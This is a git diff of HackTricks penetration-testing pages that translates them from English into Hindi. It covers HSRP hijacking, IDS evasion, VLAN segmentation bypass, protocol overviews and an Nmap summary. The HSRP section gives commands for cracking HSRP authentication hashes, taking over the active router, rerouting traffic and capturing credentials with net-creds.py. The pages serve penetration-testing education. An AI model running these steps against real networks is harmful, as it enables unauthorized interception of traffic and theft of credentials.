इकाई का प्रबंधन एक प्राथमिक राउटर द्वारा किया जाता है जो ट्रैफ़िक को निर्देशित करने के लिए जिम्मेदार होता है। GLBP के विपरीत, जो लोड संतुलन के लिए प्राथमिकता और वजन जैसे मैट्रिक्स का उपयोग करता है, HSRP ट्रैफ़िक प्रबंधन के लिए एकल सक्रिय राउटर पर निर्भर करता है। -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### HSRP में भूमिकाएँ और शब्दावली -#### Roles and Terminology in HSRP +- **HSRP सक्रिय राउटर**: वह उपकरण जो गेटवे के रूप में कार्य करता है, ट्रैफ़िक प्रवाह का प्रबंधन करता है। +- **HSRP स्टैंडबाई राउटर**: एक बैकअप राउटर, जो सक्रिय राउटर के विफल होने पर कार्यभार संभालने के लिए तैयार है। +- **HSRP समूह**: राउटरों का एक सेट जो एकल लचीला वर्चुअल राउटर बनाने के लिए सहयोग करता है। +- **HSRP MAC पता**: HSRP सेटअप में तार्किक राउटर को असाइन किया गया एक वर्चुअल MAC पता। +- **HSRP वर्चुअल IP पता**: HSRP समूह का वर्चुअल IP पता, जो जुड़े उपकरणों के लिए डिफ़ॉल्ट गेटवे के रूप में कार्य करता है। -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### HSRP संस्करण -#### HSRP Versions +HSRP दो संस्करणों में आता है, HSRPv1 और HSRPv2, जो मुख्य रूप से समूह क्षमता, मल्टीकास्ट IP उपयोग और वर्चुअल MAC पता संरचना में भिन्न होते हैं। प्रोटोकॉल सेवा जानकारी के आदान-प्रदान के लिए विशिष्ट मल्टीकास्ट IP पतों का उपयोग करता है, जिसमें हर 3 सेकंड में Hello पैकेट भेजे जाते हैं। यदि 10 सेकंड के अंतराल में कोई पैकेट प्राप्त नहीं होता है, तो राउटर को निष्क्रिय माना जाता है। -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### HSRP हमले की विधि -#### HSRP Attack Mechanism +HSRP हमले सक्रिय राउटर की भूमिका को अधिकतम प्राथमिकता मान को इंजेक्ट करके बलात्कृत करने में शामिल होते हैं। इससे मैन-इन-द-मिडल (MITM) हमले का कारण बन सकता है। हमले से पहले के आवश्यक कदमों में HSRP सेटअप के बारे में डेटा एकत्र करना शामिल है, जिसे ट्रैफ़िक विश्लेषण के लिए Wireshark का उपयोग करके किया जा सकता है। -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +#### HSRP प्रमाणीकरण को बायपास करने के चरण -#### Steps for Bypassing HSRP Authentication +1. HSRP डेटा वाले नेटवर्क ट्रैफ़िक को .pcap फ़ाइल के रूप में सहेजें। +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. hsrp2john.py का उपयोग करके .pcap फ़ाइल से MD5 हैश निकालें। +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. John the Ripper का उपयोग करके MD5 हैश को क्रैक करें। +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +**लोकी के साथ HSRP इंजेक्शन निष्पादित करना** -**Executing HSRP Injection with Loki** +1. HSRP विज्ञापनों की पहचान करने के लिए लोकी लॉन्च करें। +2. नेटवर्क इंटरफ़ेस को प्रमिस्क्यूअस मोड में सेट करें और IP फॉरवर्डिंग सक्षम करें। +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. लोकी का उपयोग करके विशिष्ट राउटर को लक्षित करें, क्रैक किया गया HSRP पासवर्ड दर्ज करें, और सक्रिय राउटर की नकल करने के लिए आवश्यक कॉन्फ़िगरेशन करें। +4. सक्रिय राउटर की भूमिका प्राप्त करने के बाद, अपने नेटवर्क इंटरफ़ेस और IP टेबल को वैध ट्रैफ़िक को इंटरसेप्ट करने के लिए कॉन्फ़िगर करें। +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. राउटिंग टेबल को संशोधित करें ताकि ट्रैफ़िक पूर्व सक्रिय राउटर के माध्यम से रूट हो। +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. इंटरसेप्टेड ट्रैफ़िक से क्रेडेंशियल कैप्चर करने के लिए net-creds.py या समान उपयोगिता का उपयोग करें। +```shell +sudo python2 net-creds.py -i eth0 +``` -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 - ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` +इन चरणों को निष्पादित करने से हमलावर को ट्रैफ़िक को इंटरसेप्ट और हेरफेर करने की स्थिति में रखा जाता है, जो GLBP हाईजैकिंग की प्रक्रिया के समान है। यह HSRP जैसे रिडंडेंसी प्रोटोकॉल में कमजोरियों और मजबूत सुरक्षा उपायों की आवश्यकता को उजागर करता है। -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. - -## References +## संदर्भ - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index fd94988fa..5f20788c8 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,57 +1,45 @@ {{#include ../../banners/hacktricks-training.md}} -
+# **TTL हेरफेर** -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +कुछ पैकेट्स भेजें जिनका TTL इतना हो कि वे IDS/IPS तक पहुँच जाएँ लेकिन अंतिम सिस्टम तक न पहुँचें। और फिर, उसी क्रम के साथ अन्य पैकेट्स भेजें ताकि IPS/IDS सोचें कि वे पुनरावृत्तियाँ हैं और उन्हें जांचें नहीं, लेकिन वास्तव में वे दुर्भावनापूर्ण सामग्री ले जा रहे हैं। -{% embed url="https://academy.8ksec.io/" %} +**Nmap विकल्प:** `--ttlvalue ` -# **TTL Manipulation** +# हस्ताक्षर से बचना -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +पैकेट्स में बस बकवास डेटा जोड़ें ताकि IPS/IDS हस्ताक्षर से बचा जा सके। -**Nmap option:** `--ttlvalue ` +**Nmap विकल्प:** `--data-length 25` -# Avoiding signatures +# **खंडित पैकेट्स** -Just add garbage data to the packets so the IPS/IDS signature is avoided. +बस पैकेट्स को खंडित करें और उन्हें भेजें। यदि IDS/IPS उन्हें फिर से जोड़ने की क्षमता नहीं रखता है, तो वे अंतिम होस्ट तक पहुँचेंगे। -**Nmap option:** `--data-length 25` +**Nmap विकल्प:** `-f` -# **Fragmented Packets** +# **अमान्य** _**चेकसम**_ -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +सेंसर आमतौर पर प्रदर्शन कारणों से चेकसम की गणना नहीं करते। इसलिए एक हमलावर एक पैकेट भेज सकता है जिसे **सेंसर द्वारा व्याख्यायित किया जाएगा लेकिन अंतिम होस्ट द्वारा अस्वीकृत किया जाएगा।** उदाहरण: -**Nmap option:** `-f` +RST ध्वज के साथ एक पैकेट भेजें और एक अमान्य चेकसम, तो फिर, IPS/IDS सोच सकता है कि यह पैकेट कनेक्शन को बंद करने जा रहा है, लेकिन अंतिम होस्ट पैकेट को अस्वीकार कर देगा क्योंकि चेकसम अमान्य है। -# **Invalid** _**checksum**_ +# **असामान्य IP और TCP विकल्प** -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +एक सेंसर कुछ ध्वज और विकल्पों के साथ सेट पैकेट्स को नजरअंदाज कर सकता है, जबकि गंतव्य होस्ट प्राप्ति पर पैकेट को स्वीकार करता है। -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +# **ओवरलैपिंग** -# **Uncommon IP and TCP options** +यह संभव है कि जब आप एक पैकेट को खंडित करते हैं, तो पैकेट्स के बीच कुछ प्रकार का ओवरलैपिंग हो (शायद पैकेट 2 के पहले 8 बाइट्स पैकेट 1 के अंतिम 8 बाइट्स के साथ ओवरलैप करते हैं, और पैकेट 2 के अंतिम 8 बाइट्स पैकेट 3 के पहले 8 बाइट्स के साथ ओवरलैप करते हैं)। फिर, यदि IDS/IPS उन्हें अंतिम होस्ट से अलग तरीके से फिर से जोड़ता है, तो एक अलग पैकेट की व्याख्या की जाएगी।\ +या शायद, 2 पैकेट्स एक ही ऑफसेट के साथ आते हैं और होस्ट को तय करना होता है कि वह कौन सा ले। -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +- **BSD**: छोटे _ऑफसेट_ वाले पैकेट्स को प्राथमिकता देता है। समान ऑफसेट वाले पैकेट्स के लिए, यह पहले वाले को चुनेगा। +- **Linux**: BSD की तरह, लेकिन यह समान ऑफसेट वाले अंतिम पैकेट को प्राथमिकता देता है। +- **पहला** (Windows): पहला मान जो आता है, वही मान रहता है। +- **अंतिम** (cisco): अंतिम मान जो आता है, वही मान रहता है। -# **Overlapping** - -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. - -- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -- **Linux**: Like BSD, but it prefers the last packet with the same offset. -- **First** (Windows): First value that comes, value that stays. -- **Last** (cisco): Last value that comes, value that stays. - -# Tools +# उपकरण - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index eaf5835eb..22fca5432 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,34 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +यदि स्विच तक सीधी पहुँच उपलब्ध है, तो VLAN विभाजन को बायपास किया जा सकता है। इसमें जुड़े पोर्ट को ट्रंक मोड में फिर से कॉन्फ़िगर करना, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना शामिल है, या तो गतिशील (DHCP) या स्थिर, परिदृश्य के आधार पर (**अधिक विवरण के लिए देखें [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +प्रारंभ में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से किया जा सकता है, या **include** मास्क के माध्यम से पोर्ट की खोज करके। +**यदि CDP कार्यशील नहीं है, तो MAC पते की खोज करके पोर्ट की पहचान करने का प्रयास किया जा सकता है**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ता निर्धारित किए जाने चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है। ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**ट्रंक मोड में संक्रमण का अर्थ है इंटरफेस कॉन्फ़िगरेशन मोड में प्रवेश करना**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +ट्रंक मोड में स्विच करने से अस्थायी रूप से कनेक्टिविटी बाधित होगी, लेकिन इसे बाद में बहाल किया जा सकता है। -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +फिर वर्चुअल इंटरफेस बनाए जाते हैं, VLAN IDs सौंपे जाते हैं, और सक्रिय किए जाते हैं: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -40,27 +33,22 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +इसके बाद, DHCP के माध्यम से एक पता अनुरोध किया जाता है। वैकल्पिक रूप से, उन मामलों में जहां DHCP संभव नहीं है, पतों को मैन्युअल रूप से कॉन्फ़िगर किया जा सकता है: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +इंटरफेस पर स्थिर IP पता मैन्युअल रूप से सेट करने का उदाहरण (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोधों को आरंभ करके किया जाता है। -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. +अंततः, यह प्रक्रिया VLAN विभाजन को बायपास करने की अनुमति देती है, जिससे किसी भी VLAN नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त होती है, और आगे की क्रियाओं के लिए मंच तैयार होता है। -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. - -## References +## संदर्भ - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 72dfbfb12..ef3ed7fc7 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,55 +1,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Multicast DNS (mDNS) +## मल्टीकास्ट DNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. +**mDNS** प्रोटोकॉल छोटे, स्थानीय नेटवर्कों में बिना किसी समर्पित नाम सर्वर के IP पते के समाधान के लिए डिज़ाइन किया गया है। यह सबनेट के भीतर एक क्वेरी को मल्टीकास्ट करके काम करता है, जिससे निर्दिष्ट नाम वाले होस्ट को अपने IP पते के साथ प्रतिक्रिया देने के लिए प्रेरित किया जाता है। फिर सबनेट में सभी उपकरण इस जानकारी के साथ अपने mDNS कैश को अपडेट कर सकते हैं। -Key points to note: +ध्यान देने योग्य मुख्य बिंदु: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +- **डोमेन नाम छोड़ना**: एक होस्ट शून्य TTL के साथ एक पैकेट भेजकर अपना डोमेन नाम छोड़ सकता है। +- **उपयोग प्रतिबंध**: mDNS आमतौर पर केवल **.local** में समाप्त होने वाले नामों को हल करता है। इस डोमेन में गैर-mDNS होस्ट के साथ संघर्ष के लिए नेटवर्क कॉन्फ़िगरेशन समायोजन की आवश्यकता होती है। +- **नेटवर्किंग विवरण**: +- ईथरनेट मल्टीकास्ट MAC पते: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`। +- IP पते: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`। +- UDP पोर्ट 5353 पर काम करता है। +- mDNS क्वेरी स्थानीय नेटवर्क तक सीमित हैं और राउटर को पार नहीं करती हैं। -## DNS-SD (Service Discovery) +## DNS-SD (सेवा खोज) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +DNS-SD एक प्रोटोकॉल है जो नेटवर्क पर सेवाओं की खोज के लिए विशिष्ट डोमेन नामों (जैसे, `_printers._tcp.local`) को क्वेरी करता है। एक प्रतिक्रिया में सभी संबंधित डोमेन शामिल होते हैं, जैसे कि इस मामले में उपलब्ध प्रिंटर। सेवा प्रकारों की एक व्यापक सूची [यहां](http://www.dns-sd.org/ServiceTypes.html) पाई जा सकती है। -## SSDP (Simple Service Discovery Protocol) +## SSDP (सिंपल सर्विस डिस्कवरी प्रोटोकॉल) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. +SSDP नेटवर्क सेवाओं की खोज को सुविधाजनक बनाता है और मुख्य रूप से UPnP द्वारा उपयोग किया जाता है। यह UDP पर पोर्ट 1900 का उपयोग करते हुए एक पाठ-आधारित प्रोटोकॉल है, जिसमें मल्टीकास्ट पता लगाने की सुविधा है। IPv4 के लिए, निर्दिष्ट मल्टीकास्ट पता `239.255.255.250` है। SSDP की नींव [HTTPU](https://en.wikipedia.org/wiki/HTTPU) है, जो UDP के लिए HTTP का एक विस्तार है। -## Web Service for Devices (WSD) +## उपकरणों के लिए वेब सेवा (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +नेटवर्क से जुड़े उपकरण उपलब्ध सेवाओं, जैसे प्रिंटर, की पहचान कर सकते हैं, उपकरणों के लिए वेब सेवा (WSD) के माध्यम से। इसमें UDP पैकेट का प्रसारण शामिल है। सेवाओं की तलाश करने वाले उपकरण अनुरोध भेजते हैं, जबकि सेवा प्रदाता अपनी पेशकशों की घोषणा करते हैं। ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +OAuth 2.0 एक प्रोटोकॉल है जो सेवाओं के बीच उपयोगकर्ता जानकारी के सुरक्षित, चयनात्मक साझा करने की सुविधा प्रदान करता है। उदाहरण के लिए, यह सेवाओं को कई लॉगिन के बिना Google से उपयोगकर्ता डेटा तक पहुंचने की अनुमति देता है। प्रक्रिया में उपयोगकर्ता प्रमाणीकरण, उपयोगकर्ता द्वारा अधिकृत करना, और Google द्वारा टोकन उत्पन्न करना शामिल है, जिससे सेवा को निर्दिष्ट उपयोगकर्ता डेटा तक पहुंचने की अनुमति मिलती है। ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +RADIUS (रिमोट ऑथेंटिकेशन डायल-इन यूजर सर्विस) एक नेटवर्क एक्सेस प्रोटोकॉल है जो मुख्य रूप से ISP द्वारा उपयोग किया जाता है। यह प्रमाणीकरण, अधिकृत करना, और लेखांकन का समर्थन करता है। उपयोगकर्ता क्रेडेंशियल्स को RADIUS सर्वर द्वारा सत्यापित किया जाता है, जिसमें अतिरिक्त सुरक्षा के लिए नेटवर्क पते की सत्यापन भी शामिल हो सकती है। प्रमाणीकरण के बाद, उपयोगकर्ताओं को नेटवर्क एक्सेस मिलता है और उनके सत्र विवरणों को बिलिंग और सांख्यिकीय उद्देश्यों के लिए ट्रैक किया जाता है। -## SMB and NetBIOS +## SMB और NetBIOS -### SMB (Server Message Block) +### SMB (सर्वर संदेश ब्लॉक) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +SMB एक प्रोटोकॉल है जो फ़ाइलों, प्रिंटरों और पोर्टों को साझा करने के लिए है। यह सीधे TCP (पोर्ट 445) पर या TCP (पोर्ट 137, 138) पर NetBIOS के माध्यम से काम करता है। यह दोहरी संगतता विभिन्न उपकरणों के साथ कनेक्टिविटी को बढ़ाती है। -### NetBIOS (Network Basic Input/Output System) +### NetBIOS (नेटवर्क बेसिक इनपुट/आउटपुट सिस्टम) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +NetBIOS संसाधन साझा करने के लिए नेटवर्क सत्रों और कनेक्शनों का प्रबंधन करता है। यह उपकरणों के लिए अद्वितीय नामों और कई उपकरणों के लिए समूह नामों का समर्थन करता है, जिससे लक्षित या प्रसारण संदेश भेजना संभव होता है। संचार बिना कनेक्शन (कोई स्वीकृति नहीं) या कनेक्शन-आधारित (सत्र-आधारित) हो सकता है। जबकि NetBIOS पारंपरिक रूप से IPC/IPX जैसे प्रोटोकॉल पर काम करता है, इसे सामान्यतः TCP/IP पर उपयोग किया जाता है। NetBEUI, एक संबंधित प्रोटोकॉल, अपनी गति के लिए जाना जाता है लेकिन प्रसारण के कारण यह काफी विस्तृत भी था। -## LDAP (Lightweight Directory Access Protocol) +## LDAP (लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +LDAP एक प्रोटोकॉल है जो TCP/IP के माध्यम से निर्देशिका जानकारी के प्रबंधन और पहुंच की अनुमति देता है। यह निर्देशिका जानकारी को क्वेरी और संशोधित करने के लिए विभिन्न संचालन का समर्थन करता है। मुख्य रूप से, इसका उपयोग वितरित निर्देशिका जानकारी सेवाओं तक पहुंचने और बनाए रखने के लिए किया जाता है, जो LDAP संचार के लिए डिज़ाइन किए गए डेटाबेस के साथ बातचीत की अनुमति देता है। -## Active Directory (AD) +## सक्रिय निर्देशिका (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +सक्रिय निर्देशिका एक नेटवर्क-एक्सेस योग्य डेटाबेस है जिसमें उपयोगकर्ता, समूह, विशेषाधिकार और संसाधनों जैसे ऑब्जेक्ट होते हैं, जो नेटवर्क संस्थाओं के केंद्रीकृत प्रबंधन की सुविधा प्रदान करता है। AD अपने डेटा को डोमेन की एक पदानुक्रमित संरचना में व्यवस्थित करता है, जिसमें सर्वर, समूह और उपयोगकर्ता शामिल हो सकते हैं। उपडोमेन आगे के विभाजन की अनुमति देते हैं, प्रत्येक संभवतः अपने स्वयं के सर्वर और उपयोगकर्ता आधार को बनाए रखता है। यह संरचना उपयोगकर्ता प्रबंधन को केंद्रीकृत करती है, नेटवर्क संसाधनों तक पहुंच को प्रदान या प्रतिबंधित करती है। विशिष्ट जानकारी, जैसे संपर्क विवरण, प्राप्त करने के लिए या डोमेन के भीतर संसाधनों, जैसे प्रिंटर, को खोजने के लिए क्वेरी की जा सकती है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 02535d28b..0ecd2ff6f 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,96 +1,90 @@ -# Nmap Summary (ESP) +# Nmap सारांश (ESP) {{#include ../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## पैरामीटर -## Parameters +### स्कैन करने के लिए आईपी -### IPs to scan - -- **`,`:** Indicate the ips directly +- **`,`:** आईपी को सीधे इंगित करें - **`-iL `:** list_IPs -- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +- **`-iR `**: यादृच्छिक आईपी की संख्या, आप संभावित आईपी को `--exclude ` या `--excludefile ` के साथ बाहर कर सकते हैं। -### Equipment discovery +### उपकरण खोज -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +डिफ़ॉल्ट रूप से Nmap एक खोज चरण शुरू करता है जिसमें शामिल हैं: `-PA80 -PS443 -PE -PP` -- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -- **`-PU `**: The objective is the opposite, they are 